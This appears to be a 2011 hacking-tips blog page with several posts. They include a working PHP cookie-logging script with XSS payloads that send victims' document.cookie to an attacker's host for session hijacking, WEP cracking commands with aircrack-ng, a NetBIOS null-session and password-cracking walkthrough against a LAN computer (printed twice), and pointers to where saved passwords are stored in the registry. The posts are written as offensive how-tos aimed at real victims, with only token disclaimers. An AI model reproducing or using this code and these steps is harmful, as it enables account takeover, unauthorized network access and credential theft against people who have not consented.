Hacking Tips & Tricks | Ever Eager | Amin Jariwala

Wednesday 22 June 2011

Get IP address from mail ID

Now i am gonna just tell you, how easy it is to find the IP address of the person who has sent a mail in Yahoo.

(The information is meant only for security use and any misuse can be liable to punishment)

* Login to your account and Open the mail.

* On the right-top corner, click Options ==> Select "Standard Headers".

* There you are with all the ip addresses of the person who sent you the mail.

Check the ip address aside to the from:

But the mail sometimes may not come directly from his/her pc. Inorder to deviate the user the mail is passed through many gateways and then finally sent. And to trace out the IP address in such a case find the last "From :" and check the IP there.

Auto Complete passwords

For some sites, we don't require the auto login , and so might choose "No" in the dialog box. This may end with the dialog box not being displayed ever. So just follow the steps below if you want the prompt back.

* Enter the site and double click the login field

* This displays a list of usernames that are Auto saved.

* Highlight the Username and click "Delete".

Now try logging in and you are again with the same dialog box.

This can also be acheived with a simple registry setting, if the above isn't working for you....

* Start ==> Run ==> Enter "Regedit"

* HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\SPW

* You can see a list of encrypted passwords.

* Now select the SPW key and click "Delete".

Every password that you enter is saved with a unique SPW key, whether you select "YES" or "NO".

But the Auto complete data is saved in a different storage:


HKEY_CURRENT_USER\Software\Microsoft\Protected Storage System Provider


Each of the passwords can be decrypted with various tools available.

Some cool and funny tricks...

Funny Computer Tricks: Check out these tips and funny tricks
(1)Fun With Browswer :
Copy and paste the java script code in the following red lines to the address bar of your browser

javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)
Press enter and watch your window's |shaking it" You can change the value of i if you wish :-)
(2)Cool DOS Commands
Command #1: By typing in 'tree' into Dos, you can view all of the folders (not files) on the computer or User. Pretty cool but then again pretty worthless. Just a cool thing to know.

Command #2: By typing in 'ipconfig' you can view your default gateway ip adress for your router. This is really only useful if you are good with the computer and are trying to fix your internet connection, you can look at what's wrong.

Command #3: By typing in 'format c:' you can delete all the information on your hard drive, if you want to start new or something, but dont do that just to be an idiot.

Command #4: By typing in 'netstat' or 'nbtstat' (both similar) you can view the TCP/IP network of your computer.

Command #5: By typing in 'title whatever' the blue bar at the top where it is command prompt will be replaced with whatever you typed after title.


(3)Renaming the Recycle Bin
Ever wanted to rename your recycle bin? Who wouldn't?
Well, it's pretty simple, the bare bones of it are just typing in commands to the registry.
Ok, what you do is, copy this information (in bold) to notepad or something similar. (Start-->All Programs-->Accessories-->Notepad).

REGEDIT4

[HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder]
"Attributes"=hex:50,01,00,20

"CallForAttributes"=dword:00000000

Once you have that copied into NotePad, save it as something like "Recyclebin.reg" (without the quotations).
Then, find whereever you saved it, click on it, say yes, and BAM!

How to hack a website

To, the reader,

So you need to hack a website, see hacking a site is really very hard and very easy at the same
time.
You may hack a site in just few minutes or sometime some days and sometimes never.

To hack some site first know about it.
Do a whois of it on google, know what server they use, what hosting platform and the language the site is built in.
Then learn about SQL injections, they are the easiest way to hack a site. But mastering over that is really tricky. So i suggest u first learn languages such as C, HTML these are the basic that u must know, then go ahead and learn "pyhton", java, SQL.

See hacking is not easy and requires a lot of hard work. Hackers are guys who have a strong commitment to not giving up. I Know that for sure, and you must have the mind to try new stuff. Like go and browser the site, look for the sitemap. See what sort of structure they use. How they edit their site, do they have a login account and many more....

Even though you may not be able to hack the site even on thousands tries but surely you will gain a lot of knowledge how stuff work around on the web.

For any further queries do reply, i love helping people.

Thankyou

Regards
Amin Jariwala
http://www.aminjariwala.blogspot.com/

Session hijacking or cookie stealing using php and javascript

In computer science, session hijacking refers to the exploitation of a valid computer session—sometimes also called a session key—to gain unauthorized access to information or services in a computer system. In particular, it is used to refer to the theft of a magic cookie used to authenticate a user to a remote server. It has particular relevance to web developers, as the HTTP cookies used to maintain a session on many web sites can be easily stolen by an attacker using an intermediary computer or with access to the saved cookies on the victim's computer (see HTTP cookie theft).

Here we show how you can hack a session using javascript and php.

What is a cookie?

A cookie known as a web cookie or http cookie is a small piece of text stored by the user browser.A cookie is sent as an header by the web server to the web browser on the client side.A cookie is static and is sent back by the browser unchanged everytime it accesses the server.
A cookie has a expiration time that is set by the server and are deleted automatically after the expiration time.
Cookie is used to maintain users authentication and to implement shopping cart during his navigation,possibly across multiple visits.

What can we do after stealing cookie?

Well,as we know web sites authenticate their user's with a cookie,it can be used to hijack the victims session.The victims stolen cookie can be replaced with our cookie to hijack his session.

This is a cookie stealing script that steals the cookies of a user and store them in a text file, these cookied can later be utilised.

PHP Code:
<?php

function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}

function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();

$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");

if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie
");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}

logData();

?>

Save the script as a cookielogger.php on your server.
(You can get any free webhosting easily such as justfree,x10hosting etc..)

Create an empty text file log.txt in the same directory on the webserver. The hijacked/hacked cookies will be automatically stored here.

Now for the hack to work we have to inject this piece of javascript into the target's page. This can be done by adding a link in the comments page which allows users to add hyperlinks etc. But beware some sites dont allow javascript so you gotta be lucky to try this.

The best way is to look for user interactive sites which contain comments or forums.

Post the following code which invokes or activates the cookielogger on your host.

Code:
<script language="Java script">
document.location="http://www.yourhost.com/cookielogger.php?cookie=&quot; + document.cookie;
</script>

Your can also trick the victim into clicking a link that activates javascript.
Below is the code which has to be posted.

Code:
<a href="java script:document.location='http://www.yourhost.com/cookielogger.php?cookie='+document.cookie;">Click here!</a>

Clicking an image also can activate the script.For this purpose you can use the below code.

Code:
<a href="java script:document.location='http://www.yourhost.com/cookielogger.php?cookie='+document.cookie;"&gt;

<img src="URL OF THE IMAGE"/></a>

All the details like cookie,ipaddress,browser of the victim are logged in to log.txt on your hostserver

In the above codes please remove the space in between javascript.

Hijacking the Session:

Now we have cookie,what to do with this..?
Download cookie editor mozilla plugin or you may find other plugins as well.

Go to the target site-->open cookie editor-->Replace the cookie with the stolen cookie of the victim and refresh the page.Thats it!!!you should now be in his account. Download cookie editor mozilla plugin from here : https://addons.mozilla.org/en-US/firefox/addon/573

Don't forget to comment if you like my post.

Hacking a WEP key with airodump on Ubuntu

WEP key can easily be cracked with a simple combination of tools on Linux machine. The WEP cracking is made easier by the flaws in the design of the WEP encryption that makes it so vulnerable.


These tools are already inbuilt in the Backtrack linux about which I posted recently. But you can install these hacking tools separately as well on any linux distro.


These steps are made for an Ubuntu machine and uses Debian version which is the format for Ubuntu. Specific version for each each hack tool are available for almost all leading linux versions.

The hack starts-


Install aircrack-ng – on Debian Etch by:

sudo apt-get install aircrack-ng

Then start aircrack-ng to look for wireless networks:


sudo airodump-ng eth1

Then notice the channel number of the wireless network you want to crack.

Quit aircrack-ng and start it again with med specific channel number to collect packages faster:

sudo airodump-ng -c 4 -w dump eth1

Then wait and let it collect about 500K IVS and the try the do the actual crack:

sudo aircrack-ng -b 0a:0b:0c:0d:0e:0f dump-01.cap

The MAC after the -b option is the BSSID of the target and dump-01.cap the file containing the captured packets.


A new project called Pyrit is currently under it’s way. “Pyrit takes a step ahead in attacking WPA-PSK and WPA2-PSK, the protocol that today de-facto protects public WIFI-airspace. The project’s goal is to estimate the real-world security provided by these protocols. Pyrit does not provide binary files or wordlists and does not encourage anyone to participate or engage in any harmful activity. This is a research project, not a cracking tool.

Pyrit’s implementation allows to create massive databases, pre-computing part of the WPA/WPA2-PSK authentication phase in a space-time-tradeoff. The performance gain for real-world-attacks is in the range of three orders of magnitude which urges for re-consideration of the protocol’s security. Exploiting the computational power of GPUs, this is currently by far the most powerful attack against one of the world’s most used security-protocols.”

Hack computer in your LAN (Windows)

Here we hack a PC somwhere in our LAN. This is a simple trick that uses open port to gain access to the target computer.The Lan hacking technique uses port 139 for the hack. On a LAN mostly the port 139 would remain open.



Today,I will write about hacking computer inside the LAN network.

This technique will be taking advantage of Port 139.

Most of the time,Port 139 will be opened.

First of all,I will do a port scanning at the target computer which is 192.168.40.128.

This computer is inside my LAN network.

I will scan it using Nmap.


 [Image: 1_13.jpg] 

I get the result and it shows Port 139 is opened up for me.

Now you will need both of these tools:
** USER2SID & SID2USER
** NetBios Auditing Tool

You can get both of them on the Internet.

After you get both of them,put them in the C:\ directory.
  
[Image: 2_1.jpg]


You now need to create a null session to the target computer.
 
[Image: 3_3.jpg]
 Now open the Command Prompt and browse to the USER2SID & SID2USER folder.There will be 2 tools inside it,one will be USER2SID and another one will be SID2USER.

We will first using USER2SID to get the ID.

[Image: 4_10.jpg]

We will test against the Guest account because Guest account is a built in account.

After we get the ID,we need to do some modification on the ID.

We take the ID we get from the guest account and modified it become
"5 21 861567501 1383384898 839522115 500".

Please leave out the S-1-,leave out all the - too.

[Image: 5_8.jpg]

Now you will see that you get the username of the Administrator account.

In this case,the Administrator account is Administrator.

Create a text file called user.txt and the content will be the username of the Admin account.
[Image: 6.jpg]

Prepare yourself a good wordlist.
[Image: 7.jpg]
 Now put both of them in the same directory with the NetBios Auditing Tool.
 [Image: 8.jpg]

Now we are going to crack the Admin account for the password in order to access to the target computer.

Browse to the NetBios Auditing Tool directory.
 

[Image: 9_1.jpg] 

Press on enter and the tool will run through the passlist.
  
[Image: 10.jpg]

In this case,I have get the password.

In order to proof that I can get access to the target computer using this password.



[Image: 11.jpg]


 After you press enter,it will prompt you for the username and password.

 [Image: 12_6.jpg]

 Therefore,just input them inside the prompt and continue.

 [Image: 13.jpg]

Target C drive will be on your screen.

[Image: 14.jpg]

In order to prevent from this attack,close down port that you do not want to use such as Port 135,Port 136,Port 137,Port 138 and Port 139.

The download link of the tools will be:
Download Tools.rar

We check for open 139 port by using Zenmap, you can use any other port scanners as well.

For this you need to know the IP of computers in your network which would most probably look like 192.168.xx where only 'xx' changes in range 0 to 255 and shows different IPs.

Once we get the IP of the target machine we scan it using Nmap.


 [Image: 1_13.jpg]

Here we see that port 139 is open and ready to be hacked.

We need these two hack tools-
** USER2SID & SID2USER
** NetBios Auditing Tool

Google them on the net.

After you get both of them,put them in the C:\ directory.


[Image: 2_1.jpg]

Create a null session on your computer do this as follows:-

[Image: 3_3.jpg] 

Now open the Command Prompt and browse to the USER2SID & SID2USER folders .There will be 2 tools inside it,one would be USER2SID and another one be SID2USER.

We use USER2SID to get the ID of the user on target machine.
 

 [Image: 4_10.jpg]

We will test against the Guest account because Guest account is a built in account.

After we get the ID,we need to do some modification on the ID.

We use the ID which we got from the guest account and modify it-

"5 21 861567501 1383384898 839522115 500".

Please leave out the S-1-,leave out all the - too.
 

 [Image: 5_8.jpg]


Now you will see that you get the username of the Administrator account.

In this case,the Administrator account is "Administrator".

Create a text file called user.txt and the content will be the username of the Admin account.


[Image: 6.jpg]

 Prepare yourself a good wordlist. Or get the list of most common password on the internet.


[Image: 7.jpg]


Now put both of them in the same directory with the NetBios Auditing Tool.


[Image: 8.jpg]


Now we are going to crack the Admin account for the password in order to access to the target computer.

Browse to the NetBios Auditing Tool directory.



[Image: 9_1.jpg]


Press on enter and the tool will run through the passlist.

[Image: 10.jpg]

 In this case,we have the password.

In order to proof that we can get access to the target computer using this password.


[Image: 11.jpg]

After you press enter,it will prompt you for the username and password.

[Image: 12_6.jpg]

 Therefore,just input them inside the prompt and continue.

[Image: 13.jpg]

 Target C drive will be pop on your screen.

[Image: 14.jpg]

In order to prevent from this attack,close down port that you do not want to use such as Port 135,Port 136,Port 137,Port 138 and Port 139.

The download link of the tools will be:
Download Tools.rar